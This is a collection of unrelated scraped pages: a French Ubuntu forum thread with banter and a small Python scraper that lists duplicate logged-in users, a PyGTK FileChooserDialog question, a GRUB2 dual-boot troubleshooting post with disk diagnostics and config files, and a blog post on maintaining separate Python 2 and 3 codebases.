Dernière modification par grim7reaper (Le 12/06/2010, à 22:42)
Hors ligne
xapantu
Re : /* Topic des codeurs couche-tard [1] */
bah oui, c'est dommage, à 2-3 près....
Hors ligne
gnuuat
Re : /* Topic des codeurs couche-tard [1] */
Nouveau topic, nouveaux scores !
Bisouland : embrassez les tous !
Volez les points d'amour de vos adversaires en les embrassant, dans ce jeu gratuit par navigateur !
Hors ligne
grim7reaper
Re : /* Topic des codeurs couche-tard [1] */
@xapantu : à un message près.
Elle l'a fait exprès, j'en suis sûr .
Dernière modification par grim7reaper (Le 12/06/2010, à 22:44)
Hors ligne
Pylades
Re : /* Topic des codeurs couche-tard [1] */
Mais oui, je n’ai pas compris pourquoi la ’tite a fermé si tôt…
Faudrait peut-être rouvrir temporairement histoire d’atteindre ces cent pages. Ou alors mettre ça sur le compte de la suppression des messages d’ilagas.
“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
Linus Torvalds – 12 janvier 2003
Hors ligne
Pylades
Re : /* Topic des codeurs couche-tard [1] */
Nouveau topic, nouveaux scores !
Tu rêves, j’espère !
“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
Linus Torvalds – 12 janvier 2003
Hors ligne
Кຼزດ
Re : /* Topic des codeurs couche-tard [1] */
Faibles modos ne sachant pas utiliser les liens relatifs.
dou
Hors ligne
nesthib
Re : /* Topic des codeurs couche-tard [1] */
hey pourquoi c'est fermé l'ancien ?
(m'en fous j'avais pas vu et l'ai posté sur la page 100 !)
Hors ligne
Pylades
Re : /* Topic des codeurs couche-tard [1] */
Pylade a écrit :Р'tite G☢gole :mad: a écrit :
Tu payes combien ?
Mon éternelle admiration.
(Et éventuellement un poème contant tes louanges.)
Bon, allons-y.
Dans entrailles du forumVivait une Р'tite G☢gole ,Nourrie à l’vokda et au rhum,Elle battait des chats au vol.
Pour fermer ou modérer,
Elle avait le clavier facile.
Malheureusement (fait chier !)
Une clôture ne fut difficile.
Ainsi, mourut l’TdCCT,
Le premier, bien trop tôt,
Fut définitivement pété
Avant les cent beaux écriteaux.
Dans entrailles du forum
Vivait une Р'tite G☢gole ,
Nourrie à l’vokda et au rhum,
Elle battait des chats au vol.
Dès lors, tombe l’TdCCT,
Gloire de Р'tite G☢gole .
Et mon admiration éternelle, tu l’as maintenant.
(Enfin, j’aurais encore plus apprécié si la page cent avait été atteinte.)
Il va pas être long, le poème... genre tanka ?
Perdu !
“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
Linus Torvalds – 12 janvier 2003
Hors ligne
nesthib
Re : /* Topic des codeurs couche-tard [1] */
bon sinon je vais inaugurer le nouveau fil par un petit morceau de code qui vous ravira tous. Il permet de déterminer qui sont les affreux doubles connectés sur le forum
(dépendance : python-beautifulsoup)
#!/usr/bin/env python
# encoding : utf-8
from urllib2 import urlopen
from BeautifulSoup import BeautifulSoup
url = 'http://forum.ubuntu-fr.org'
page = urlopen(url)
soup = BeautifulSoup(page)
users_raw = soup.findAll('dl','clearb')[0].findAll("a")
users = [user.contents[0] for user in users_raw]
unique = list(set(users))
if len(users) > len(unique):
for user in unique:
users.remove(user)
users = list(set(users))
print(u'liste des affreux planteurs du forum :')
for user in users:
print(str(user))
else:
print(u'Ca va, personne ne fait bugguer le forum !')
Hors ligne
Pylades
Re : /* Topic des codeurs couche-tard [1] */
hey pourquoi c'est fermé l'ancien ?
(m'en fous j'avais pas vu et l'ai posté sur la page 100 !)
Tu aurais pu en profiter pour mettre un lien relatif…
“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
Linus Torvalds – 12 janvier 2003
Hors ligne
samυncle
Re : /* Topic des codeurs couche-tard [1] */
\o/ un nouveau topic
Hello world
Hors ligne
helly
Re : /* Topic des codeurs couche-tard [1] */
Page 1
Ce qui serait vraiment classe ça serait que ce soit la page 0
Dernière modification par helly (Le 12/06/2010, à 23:10)
Hors ligne
grim7reaper
Re : /* Topic des codeurs couche-tard [1] */
hey pourquoi c'est fermé l'ancien ?
(m'en fous j'avais pas vu et l'ai posté sur la page 100 !)
Privilégié !
Brûlons-le !
Retirons lui des points !
Pffff, ça ne vaut pas PhœnixOS .
Régalez-vous (si vous ne connaissez pas déjà).
Hors ligne
helly
Re : /* Topic des codeurs couche-tard [1] */
En rapport avec ce que j'ai dit à propos du quotient (Qualité de codage)/(Qualité de web design)
Ça doit être un super OS
This site Copyright © 2009-2010 PmBSD.
Et ça se dit libre
Dernière modification par helly (Le 12/06/2010, à 23:26)
Hors ligne
samυncle
Re : /* Topic des codeurs couche-tard [1] */
Hé il faut rajouter .:: dans le titre ::. comme dans l'ancien
Hello world
Hors ligne
Pylades
Re : /* Topic des codeurs couche-tard [1] */
En tous cas, ce changement de fil fait le buzz.
“Any if-statement is a goto. As are all structured loops.
“And sometimes structure is good. When it’s good, you should use it.
“And sometimes structure is _bad_, and gets into the way, and using a goto is just much clearer.”
Linus Torvalds – 12 janvier 2003
Hors ligne
grim7reaper
Re : /* Topic des codeurs couche-tard [1] */
Sinon on pourrai ajouter un historique comme le TDCT, enfin jdçjdr.
Hors ligne
nesthib
Re : /* Topic des codeurs couche-tard [1] */
Hé il faut rajouter .:: dans le titre ::. comme dans l'ancien
c'est fait
grim7reaper a écrit :
Sinon on pourrai ajouter un historique comme le TDCT, enfin jdçjdr.
c'est fait
Hors ligne
PPdM
Hors ligne |
I'm trying to use FileChooserDialog to get a native gnome dialog box in a python script. After the script executes, my ipython -pylab prompt experiences a significant slow down. This problem also exists from a plain python prompt. I've isolated the problem to the dialog box. The following example (which has been posted elsewhere as a pygtk example) illustrates the issue:
import pygtk
pygtk.require('2.0')
import gtk
class FileChooserDialog:
def __init__(self):
filechooserdialog = gtk.FileChooserDialog("FileChooserDialog Example", None, gtk.FILE_CHOOSER_ACTION_OPEN, (gtk.STOCK_CANCEL, gtk.RESPONSE_CANCEL, gtk.STOCK_OK, gtk.RESPONSE_OK))
response = filechooserdialog.run()
if response == gtk.RESPONSE_OK:
print "Selected filepath: %s" % filechooserdialog.get_filename()
filechooserdialog.destroy()
if __name__ == "__main__":
FileChooserDialog()
After running the script, my hard drive light seems to flash after any key is typed in from the keyboard - very strange behavior! I do not have the problem with deprecated gtk.FileSelection or any other gtk window objects.
I'm currently running, python 2.6.5, gtk 2.21.1, pygtk 2.17.0 in ubuntu 10.04. In general this dialog seems to be flaky; I've also had some issues with the window not destroying itself when executed certain ways within scripts. Any help would be greatly appreciated! |
Last night, I decided to take the plunge, and install Ubuntu as complimentary part to my dual boot system (with Windows 7). Unfortunately, the entire process has been a struggle uphill, namely with getting the bootloader configured properly.
A short historical synopsis, for the full context of the situation:
Generated and installed Ubuntu 11.04 x64 off of a USB drive setup on a Windows 7 machine. I had trouble getting the installer to even boot, until I learned I couldn't use my USB3.0 port. Switched to the USB2.0 port, continued with the install.
I have a 1TB HDD that I split in half for the purpose of dual booting: 500GB partition for Windows 7, and a 500GB for Ubuntu (excluding the boot/swap file partitions). The Ubuntu partition was installed with the ext4 filesystem, and installation completed without any apparent problems, and was prompted to reboot.
Upon rebooting, I got dumped into the old Windows boot loader, which immediately fired up Windows. I played around with a utility called EasyBCD to attempt to add a Linux entry to my newly installed partition, to no avail.
Then, I booted Ubuntu straight off the USB drive, and installed GRUB2 onto the boot partition following the steps outlined here. I also ran the step ("update-grub") to generate a new 'grub.cfg' file, which added an entry to my old 'Windows 7' bootloader, but not one for my new Ubuntu partition! When I rebooted, the GRUB2 bootloader started successfully, but my Ubuntu was still unable to be found/booted under the list of available operating systems.
Anyone have any ideas how I should change/update this configuration such that it'll point to my new Ubuntu installation properly?
Some useful information...
"fdisk -l":
Disk /dev/sdd: 1000.2 GB, 1000204886016 bytes
255 heads, 63 sectors/track, 121601 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0xb209a592
Device Boot Start End Blocks Id System
/dev/sdd1 * 1 13 102400 7 HPFS/NTFS
Partition 1 does not end on cylinder boundary.
/dev/sdd2 13 60555 486297600 7 HPFS/NTFS
/dev/sdd3 60555 120143 478642176 83 Linux
/dev/sdd4 120143 121602 11717633 5 Extended
/dev/sdd5 120143 121602 11717632 82 Linux swap / Solaris
"grub.cfg" entries:
### BEGIN /etc/grub.d/30_os-prober ### menuentry "Windows 7 (loader) (on /dev/sdd1)" --class windows --class os { insmod part_msdos insmod ntfs set root='(/dev/sdd,msdos1)' search --no-floppy
--fs-uuid --set=root 08BAB5B0BAB59B20 chainloader +1 }
### END /etc/grub.d/30_os-prober ###
### BEGIN /etc/grub.d/40_custom ###
# This file provides an easy way to add custom menu entries. Simply type the
# menu entries you want to add after this comment. Be careful not to change
# the 'exec tail' line above.
### END /etc/grub.d/40_custom ###
"boot_info_script output:
Boot Info Script 0.60 from 17 May 2011
============================= Boot Info Summary: ===============================
=> Windows is installed in the MBR of /dev/sda.
=> Windows is installed in the MBR of /dev/sdb.
=> Windows is installed in the MBR of /dev/sdc.
=> Grub2 (v1.99) is installed in the MBR of /dev/sdd and looks at sector 1 of
the same hard drive for core.img. core.img is at this location and looks
for (,msdos1)/grub on this drive.
=> Syslinux MBR (4.04 and higher) is installed in the MBR of /dev/sde.
sda1: __________________________________________________________________________
File system: ntfs
Boot sector type: Windows XP
Boot sector info: No errors found in the Boot Parameter Block.
Operating System:
Boot files:
sdb1: __________________________________________________________________________
File system: ntfs
Boot sector type: Windows Vista/7
Boot sector info: No errors found in the Boot Parameter Block.
Operating System:
Boot files: /bootmgr /Boot/BCD
sdb2: __________________________________________________________________________
File system: ntfs
Boot sector type: Windows Vista/7
Boot sector info: No errors found in the Boot Parameter Block.
Operating System: Windows 7
Boot files: /Windows/System32/winload.exe
sdc1: __________________________________________________________________________
File system: ntfs
Boot sector type: Windows XP
Boot sector info: No errors found in the Boot Parameter Block.
Operating System:
Boot files:
sdd1: __________________________________________________________________________
File system: ntfs
Boot sector type: Windows Vista/7
Boot sector info: No errors found in the Boot Parameter Block.
Operating System:
Boot files: /grub/grub.cfg /bootmgr /Boot/BCD /grub/core.img
sdd2: __________________________________________________________________________
File system: ntfs
Boot sector type: Windows Vista/7
Boot sector info: No errors found in the Boot Parameter Block.
Operating System: Windows 7
Boot files: /Windows/System32/winload.exe
sdd3: __________________________________________________________________________
File system: ext4
Boot sector type: -
Boot sector info:
Operating System: Ubuntu 11.04
Boot files: /boot/grub/grub.cfg /etc/fstab
sdd4: __________________________________________________________________________
File system: Extended Partition
Boot sector type: -
Boot sector info:
sdd5: __________________________________________________________________________
File system: swap
Boot sector type: -
Boot sector info:
sde1: __________________________________________________________________________
File system: vfat
Boot sector type: SYSLINUX 4.04 2011-04-18
Boot sector info: Syslinux looks at sector 8448 of /dev/sde1 for its
second stage. SYSLINUX is installed in the directory.
The integrity check of the ADV area failed. No errors
found in the Boot Parameter Block.
Operating System:
Boot files: /boot/grub/grub.cfg /syslinux/syslinux.cfg /ldlinux.sys
============================ Drive/Partition Info: =============================
Drive: sda _____________________________________________________________________
Disk /dev/sda: 1000.2 GB, 1000204886016 bytes
255 heads, 63 sectors/track, 121601 cylinders, total 1953525168 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
Partition Boot Start Sector End Sector # of Sectors Id System
/dev/sda1 63 1,953,520,064 1,953,520,002 7 NTFS / exFAT / HPFS
Drive: sdb _____________________________________________________________________
Disk /dev/sdb: 250.1 GB, 250059350016 bytes
255 heads, 63 sectors/track, 30401 cylinders, total 488397168 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
Partition Boot Start Sector End Sector # of Sectors Id System
/dev/sdb1 2,048 206,847 204,800 7 NTFS / exFAT / HPFS
/dev/sdb2 * 206,848 488,394,751 488,187,904 7 NTFS / exFAT / HPFS
Drive: sdc _____________________________________________________________________
Disk /dev/sdc: 1000.2 GB, 1000204886016 bytes
255 heads, 63 sectors/track, 121601 cylinders, total 1953525168 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
Partition Boot Start Sector End Sector # of Sectors Id System
/dev/sdc1 63 1,953,520,064 1,953,520,002 7 NTFS / exFAT / HPFS
Drive: sdd _____________________________________________________________________
Disk /dev/sdd: 1000.2 GB, 1000204886016 bytes
255 heads, 63 sectors/track, 121601 cylinders, total 1953525168 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
Partition Boot Start Sector End Sector # of Sectors Id System
/dev/sdd1 * 2,048 206,847 204,800 7 NTFS / exFAT / HPFS
/dev/sdd2 206,848 972,802,047 972,595,200 7 NTFS / exFAT / HPFS
/dev/sdd3 972,802,048 1,930,086,399 957,284,352 83 Linux
/dev/sdd4 1,930,088,446 1,953,523,711 23,435,266 5 Extended
/dev/sdd5 1,930,088,448 1,953,523,711 23,435,264 82 Linux swap / Solaris
Drive: sde _____________________________________________________________________
Disk /dev/sde: 3926 MB, 3926949888 bytes
16 heads, 16 sectors/track, 29960 cylinders, total 7669824 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
Partition Boot Start Sector End Sector # of Sectors Id System
/dev/sde1 * 8,064 7,669,823 7,661,760 c W95 FAT32 (LBA)
"blkid" output: ________________________________________________________________
Device UUID TYPE LABEL
/dev/loop0 squashfs
/dev/sda1 36BA3C8CBA3C4A9F ntfs Data Storage (Backup)
/dev/sdb1 90A09285A0927188 ntfs System Reserved
/dev/sdb2 88E09C67E09C5D6E ntfs Old OS HDD
/dev/sdc1 1CEE7227EE71F8FA ntfs Data Storage
/dev/sdd1 08BAB5B0BAB59B20 ntfs System Reserved
/dev/sdd2 30EEC43AEEC3F65E ntfs Operating System
/dev/sdd3 fb62baf1-e6a7-4e0d-ada2-2efb52ab12fa ext4
/dev/sdd5 086c0085-650b-495f-b9e8-e7e637fac705 swap
/dev/sde1 FC8F-97FE vfat PENDRIVE
================================ Mount points: =================================
Device Mount_Point Type Options
/dev/loop0 /rofs squashfs (ro,noatime)
/dev/sde1 /cdrom vfat (ro,noatime,fmask=0022,dmask=0022,codepage=cp437,iocharset=iso8859-1,shortname=mixed,errors=remount-ro)
============================= sdd1/grub/grub.cfg: ==============================
--------------------------------------------------------------------------------
#
# DO NOT EDIT THIS FILE
#
# It is automatically generated by grub-mkconfig using templates
# from /etc/grub.d and settings from /etc/default/grub
#
### BEGIN /etc/grub.d/00_header ###
if [ -s $prefix/grubenv ]; then
set have_grubenv=true
load_env
fi
set default="0"
if [ "${prev_saved_entry}" ]; then
set saved_entry="${prev_saved_entry}"
save_env saved_entry
set prev_saved_entry=
save_env prev_saved_entry
set boot_once=true
fi
function savedefault {
if [ -z "${boot_once}" ]; then
saved_entry="${chosen}"
save_env saved_entry
fi
}
function recordfail {
set recordfail=1
if [ -n "${have_grubenv}" ]; then if [ -z "${boot_once}" ]; then save_env recordfail; fi; fi
}
function load_video {
insmod vbe
insmod vga
insmod video_bochs
insmod video_cirrus
}
insmod part_msdos
insmod ext2
set root='(/dev/sdd,msdos5)'
search --no-floppy --fs-uuid --set=root 43000377-e88b-4373-975e-66146de829ce
if loadfont /usr/share/grub/unicode.pf2 ; then
set gfxmode=auto
load_video
insmod gfxterm
fi
terminal_output gfxterm
insmod part_msdos
insmod ntfs
set root='(/dev/sdd,msdos1)'
search --no-floppy --fs-uuid --set=root 08BAB5B0BAB59B20
set locale_dir=($root)/grub/locale
set lang=en_US
insmod gettext
if [ "${recordfail}" = 1 ]; then
set timeout=-1
else
set timeout=10
fi
### END /etc/grub.d/00_header ###
### BEGIN /etc/grub.d/05_debian_theme ###
set menu_color_normal=white/black
set menu_color_highlight=black/light-gray
if background_color 44,0,30; then
clear
fi
### END /etc/grub.d/05_debian_theme ###
### BEGIN /etc/grub.d/10_linux ###
if [ ${recordfail} != 1 ]; then
if [ -e ${prefix}/gfxblacklist.txt ]; then
if hwmatch ${prefix}/gfxblacklist.txt 3; then
if [ ${match} = 0 ]; then
set linux_gfx_mode=keep
else
set linux_gfx_mode=text
fi
else
set linux_gfx_mode=text
fi
else
set linux_gfx_mode=keep
fi
else
set linux_gfx_mode=text
fi
export linux_gfx_mode
if [ "$linux_gfx_mode" != "text" ]; then load_video; fi
### END /etc/grub.d/10_linux ###
### BEGIN /etc/grub.d/20_linux_xen ###
### END /etc/grub.d/20_linux_xen ###
### BEGIN /etc/grub.d/20_memtest86+ ###
### END /etc/grub.d/20_memtest86+ ###
### BEGIN /etc/grub.d/30_os-prober ###
# menuentry "Windows 7 (loader) (on /dev/sdb1)" --class windows --class os {
# insmod part_msdos
# insmod ntfs
# set root='(/dev/sdb,msdos1)'
# search --no-floppy --fs-uuid --set=root 90A09285A0927188
# chainloader +1
# }
menuentry "Windows 7 (loader) (on /dev/sdd1)" --class windows --class os {
insmod part_msdos
insmod ntfs
set root='(/dev/sdd,msdos1)'
search --no-floppy --fs-uuid --set=root 08BAB5B0BAB59B20
chainloader +1
}
### END /etc/grub.d/30_os-prober ###
### BEGIN /etc/grub.d/40_custom ###
# This file provides an easy way to add custom menu entries. Simply type the
# menu entries you want to add after this comment. Be careful not to change
# the 'exec tail' line above.
### END /etc/grub.d/40_custom ###
### BEGIN /etc/grub.d/41_custom ###
if [ -f $prefix/custom.cfg ]; then
source $prefix/custom.cfg;
fi
### END /etc/grub.d/41_custom ###
--------------------------------------------------------------------------------
=================== sdd1: Location of files loaded by Grub: ====================
GiB - GB File Fragment(s)
?? = ?? grub/core.img 1
?? = ?? grub/grub.cfg 1
=========================== sdd3/boot/grub/grub.cfg: ===========================
--------------------------------------------------------------------------------
#
# DO NOT EDIT THIS FILE
#
# It is automatically generated by grub-mkconfig using templates
# from /etc/grub.d and settings from /etc/default/grub
#
### BEGIN /etc/grub.d/00_header ###
if [ -s $prefix/grubenv ]; then
set have_grubenv=true
load_env
fi
set default="0"
if [ "${prev_saved_entry}" ]; then
set saved_entry="${prev_saved_entry}"
save_env saved_entry
set prev_saved_entry=
save_env prev_saved_entry
set boot_once=true
fi
function savedefault {
if [ -z "${boot_once}" ]; then
saved_entry="${chosen}"
save_env saved_entry
fi
}
function recordfail {
set recordfail=1
if [ -n "${have_grubenv}" ]; then if [ -z "${boot_once}" ]; then save_env recordfail; fi; fi
}
function load_video {
insmod efi_gop
insmod efi_uga
insmod video_bochs
insmod video_cirrus
}
insmod part_msdos
insmod ext2
set root='(/dev/sdd,msdos3)'
search --no-floppy --fs-uuid --set=root fb62baf1-e6a7-4e0d-ada2-2efb52ab12fa
if loadfont /usr/share/grub/unicode.pf2 ; then
set gfxmode=auto
load_video
insmod gfxterm
fi
terminal_output gfxterm
insmod part_msdos
insmod ext2
set root='(/dev/sdd,msdos3)'
search --no-floppy --fs-uuid --set=root fb62baf1-e6a7-4e0d-ada2-2efb52ab12fa
set locale_dir=($root)/boot/grub/locale
set lang=en_US
insmod gettext
if [ "${recordfail}" = 1 ]; then
set timeout=-1
else
set timeout=10
fi
### END /etc/grub.d/00_header ###
### BEGIN /etc/grub.d/05_debian_theme ###
set menu_color_normal=white/black
set menu_color_highlight=black/light-gray
if background_color 44,0,30; then
clear
fi
### END /etc/grub.d/05_debian_theme ###
### BEGIN /etc/grub.d/10_linux ###
if [ ${recordfail} != 1 ]; then
if [ -e ${prefix}/gfxblacklist.txt ]; then
if hwmatch ${prefix}/gfxblacklist.txt 3; then
if [ ${match} = 0 ]; then
set linux_gfx_mode=keep
else
set linux_gfx_mode=text
fi
else
set linux_gfx_mode=text
fi
else
set linux_gfx_mode=keep
fi
else
set linux_gfx_mode=text
fi
export linux_gfx_mode
if [ "$linux_gfx_mode" != "text" ]; then load_video; fi
menuentry 'Ubuntu, with Linux 2.6.38-8-generic' --class ubuntu --class gnu-linux --class gnu --class os {
recordfail
set gfxpayload=$linux_gfx_mode
insmod part_msdos
insmod ext2
set root='(/dev/sdd,msdos3)'
search --no-floppy --fs-uuid --set=root fb62baf1-e6a7-4e0d-ada2-2efb52ab12fa
linux /boot/vmlinuz-2.6.38-8-generic root=UUID=fb62baf1-e6a7-4e0d-ada2-2efb52ab12fa ro quiet splash vt.handoff=7
initrd /boot/initrd.img-2.6.38-8-generic
}
menuentry 'Ubuntu, with Linux 2.6.38-8-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os {
recordfail
set gfxpayload=$linux_gfx_mode
insmod part_msdos
insmod ext2
set root='(/dev/sdd,msdos3)'
search --no-floppy --fs-uuid --set=root fb62baf1-e6a7-4e0d-ada2-2efb52ab12fa
echo 'Loading Linux 2.6.38-8-generic ...'
linux /boot/vmlinuz-2.6.38-8-generic root=UUID=fb62baf1-e6a7-4e0d-ada2-2efb52ab12fa ro single
echo 'Loading initial ramdisk ...'
initrd /boot/initrd.img-2.6.38-8-generic
}
### END /etc/grub.d/10_linux ###
### BEGIN /etc/grub.d/20_linux_xen ###
### END /etc/grub.d/20_linux_xen ###
### BEGIN /etc/grub.d/20_memtest86+ ###
menuentry "Memory test (memtest86+)" {
insmod part_msdos
insmod ext2
set root='(/dev/sdd,msdos3)'
search --no-floppy --fs-uuid --set=root fb62baf1-e6a7-4e0d-ada2-2efb52ab12fa
linux16 /boot/memtest86+.bin
}
menuentry "Memory test (memtest86+, serial console 115200)" {
insmod part_msdos
insmod ext2
set root='(/dev/sdd,msdos3)'
search --no-floppy --fs-uuid --set=root fb62baf1-e6a7-4e0d-ada2-2efb52ab12fa
linux16 /boot/memtest86+.bin console=ttyS0,115200n8
}
### END /etc/grub.d/20_memtest86+ ###
### BEGIN /etc/grub.d/30_os-prober ###
menuentry "Windows 7 (loader) (on /dev/sdb1)" --class windows --class os {
insmod part_msdos
insmod ntfs
set root='(/dev/sdb,msdos1)'
search --no-floppy --fs-uuid --set=root 90A09285A0927188
chainloader +1
}
menuentry "Windows 7 (loader) (on /dev/sdd1)" --class windows --class os {
insmod part_msdos
insmod ntfs
set root='(/dev/sdd,msdos1)'
search --no-floppy --fs-uuid --set=root 08BAB5B0BAB59B20
chainloader +1
}
### END /etc/grub.d/30_os-prober ###
### BEGIN /etc/grub.d/40_custom ###
# This file provides an easy way to add custom menu entries. Simply type the
# menu entries you want to add after this comment. Be careful not to change
# the 'exec tail' line above.
### END /etc/grub.d/40_custom ###
### BEGIN /etc/grub.d/41_custom ###
if [ -f $prefix/custom.cfg ]; then
source $prefix/custom.cfg;
fi
### END /etc/grub.d/41_custom ###
--------------------------------------------------------------------------------
=============================== sdd3/etc/fstab: ================================
--------------------------------------------------------------------------------
# /etc/fstab: static file system information.
#
# Use 'blkid -o value -s UUID' to print the universally unique identifier
# for a device; this may be used with UUID= as a more robust way to name
# devices that works even if disks are added and removed. See fstab(5).
#
# <file system> <mount point> <type> <options> <dump> <pass>
proc /proc proc nodev,noexec,nosuid 0 0
# / was on /dev/sdd3 during installation
UUID=fb62baf1-e6a7-4e0d-ada2-2efb52ab12fa / ext4 errors=remount-ro 0 1
# swap was on /dev/sdd5 during installation
UUID=086c0085-650b-495f-b9e8-e7e637fac705 none swap sw 0 0
--------------------------------------------------------------------------------
=================== sdd3: Location of files loaded by Grub: ====================
GiB - GB File Fragment(s)
476.025924683 = 511.128944640 boot/grub/grub.cfg 1
465.547851562 = 499.878199296 boot/initrd.img-2.6.38-8-generic 2
686.000980377 = 736.587943936 boot/vmlinuz-2.6.38-8-generic 1
465.547851562 = 499.878199296 initrd.img 2
686.000980377 = 736.587943936 vmlinuz 1
=========================== sde1/boot/grub/grub.cfg: ===========================
--------------------------------------------------------------------------------
if loadfont /boot/grub/font.pf2 ; then
set gfxmode=auto
insmod efi_gop
insmod efi_uga
insmod gfxterm
terminal_output gfxterm
fi
set menu_color_normal=white/black
set menu_color_highlight=black/light-gray
menuentry "Try Ubuntu without installing" {
set gfxpayload=keep
linux /casper/vmlinuz file=/cdrom/preseed/ubuntu.seed boot=casper quiet splash --
initrd /casper/initrd.lz
}
menuentry "Install Ubuntu" {
set gfxpayload=keep
linux /casper/vmlinuz file=/cdrom/preseed/ubuntu.seed boot=casper only-ubiquity quiet splash --
initrd /casper/initrd.lz
}
menuentry "Check disc for defects" {
set gfxpayload=keep
linux /casper/vmlinuz boot=casper integrity-check quiet splash --
initrd /casper/initrd.lz
}
--------------------------------------------------------------------------------
========================= sde1/syslinux/syslinux.cfg: ==========================
--------------------------------------------------------------------------------
# D-I config version 2.0
include menu.cfg
default vesamenu.c32
prompt 0
timeout 50
# If you would like to use the new menu and be presented with the option to install or run from USB at startup, remove # from the following line. This line was commented out (by request of many) to allow the old menu to be presented and to enable booting straight into the Live Environment!
# ui gfxboot bootlogo
--------------------------------------------------------------------------------
=================== sde1: Location of files loaded by Grub: ====================
GiB - GB File Fragment(s)
?? = ?? boot/grub/grub.cfg 1
================= sde1: Location of files loaded by Syslinux: ==================
GiB - GB File Fragment(s)
?? = ?? ldlinux.sys 1
?? = ?? syslinux/gfxboot.c32 1
?? = ?? syslinux/syslinux.cfg 1
?? = ?? syslinux/vesamenu.c32 1
============== sde1: Version of COM32(R) files used by Syslinux: ===============
syslinux/gfxboot.c32 : COM32R module (v4.xx)
syslinux/vesamenu.c32 : COM32R module (v4.xx)
=============================== StdErr Messages: ===============================
unlzma: Decoder error
/home/ubuntu/Desktop/boot_info_script.sh: line 1579: [: 2.73495e+09: integer expression expected
|
Text
Lately there’s been a lot of discussion about whether Python 3 is working out or not, with many projects reluctant to move to Python 3, especially big, mature projects that are in the “if it’s not broken don’t touch it” phase.
I still fully believe in Python 3, but this blog post is not about discussing 2-vs-3; I’d like to make my own modest contribution to the Python 3 cause by sharing with you my method of supporting both Python 2 and Python 3 which I use in my open-source project python_toolbox.
When I originally read about the different ways to support both Python 2 and 3, I was appalled. There seemed to be 3 ways, and all 3 had properties that made me not want to even consider them.
The 3 approaches seem to be:
six.
I’ve spent quite some time thinking which approach to take, and I’ve settled on the first approach. I’ve implemented it a few months ago, and it’s been working really well.
metaclass=MyType you need to specify six.with_metaclass(MyType), instead of using str you need to use six.text_type. That’s not what Python is about. It’s critical for me to have the code be as succinct as possible.
Having two separate codebases is the only solution that gives you full control of both codebases. You can tweak each codebase to fit the Python version it’s serving, and use its features in the most idiomatic way.
Now the big question is, how do you deal with having two separate codebases? I gave this question some thought. The main problem seems to be this: If I’m adding a feature in the Python 2 version of the library, I want to have that feature in the Python 3 branch, (or vice versa) but I don’t want to type the code again, nor to copy-paste. That’s the crux of the problem, and if that’s solved, having 2 codebases becomes less of an issue. (It’s not like we’re trying to save on diskspace.)
So, when developing a feature for the Py2 version and having it appear in the Py3 version I have to do something like a merge between the two codebases, because the two codebases are different. Normally I would use git merge, but I can’t do that in this case because both codebases are in the same repo. (I considered using git submodules and having each codebase on a different submodule, but the path leading up to submodules is littered with the corpses of desperate developers who regretted ever touching them.)
I came up with a solution that works great. All you’ll need is to get a merge program that supports 3-way merging (I use the excellent but proprietery Araxis Merge, but open source alternatives are available), and follow the instructions below. They’re a bit lengthy, but after you get used to it, you can do them quickly enough that it’s not a big toll on the development cycle.
Create a folder structure similar to mine:
python_toolbox/ <--- Repo root
source_py2/
python_toolbox/
__init__.py
(All the source files, in their Python 2 version.)
source_py3/
python_toolbox/
__init__.py
(All the source files, in their Python 3 version.)
setup.py
README.markdown
(All the usual files...)
My setup.py file contains this simple snippet:
if sys.version_info[0] == 3:
source_folder = 'source_py3'
else:
source_folder = 'source_py2'
Then, the rest of the code in setup.py refers to source_folder instead of a hardcoded folder. This way a Python 2 user gets the Python 2 version installed, while a Python 3 user gets the Python 3 version installed. So far so good.
Now you’re asking, how do you deal with the in-repo merge problem?
First, before making the split to support Python 3, ensure that you’re starting from a commit where all the code works great and the test suite passes. Then, use 2to3 just one time to create a copy of your code that supports Python 3. Put that in source_py3, and put the original code in source_py2. Debug the test suite on the Python 3 version and edit it until all the tests pass. Fix your setup.py files to take the correct source folder using the snippet I gave above, and confirm that it works by creating a source distribution and installing it on empty virtualenvs of both Python 2 and Python 3.
So far so good; you now have a working version of your code that works for both Python versions. What you do at this point is create a Git branch called parity pointing to this commit. You push it to your Git remote, of course. You make the following rule, either with yourself in case of a single developer or with your fellow developers: You merge code to parity only if the Python 2 codebase and the Python 3 codebase are equivalent. Equivalent means that if a feature has been implemented in one, it was merged (more about how later) to the other. If a bug was fixed in one codebase, it was merged to the other. Never let anyone push code to the
parity branch if that code doesn’t have parity between Python versions.
Now, how do you actually do the merge? Say that on your development branch you’ve developed a new feature in the Python 3 codebase, and you want to merge it into the Python 2 version. (If you want to go the other way, just flip 2 and 3 in my explanation below.) What you do is this: First you ensure that you committed your change. Then, you create a local clone of your Git repo, with the parity branch checked out. (Do a git pull to be sure that you have the latest version.) Fire up your merge program and do the following three-way folder merge:
source_py3 folder in the clone, which has the parity branch checked out, without your new feature.source_py3 folder in the original git repo, which has the development branch checked out, and does include your new feature.source_py2 folder in the original git repo, which has the development branch checked out, but does not include your new feature because it’s the Python 2 folder.
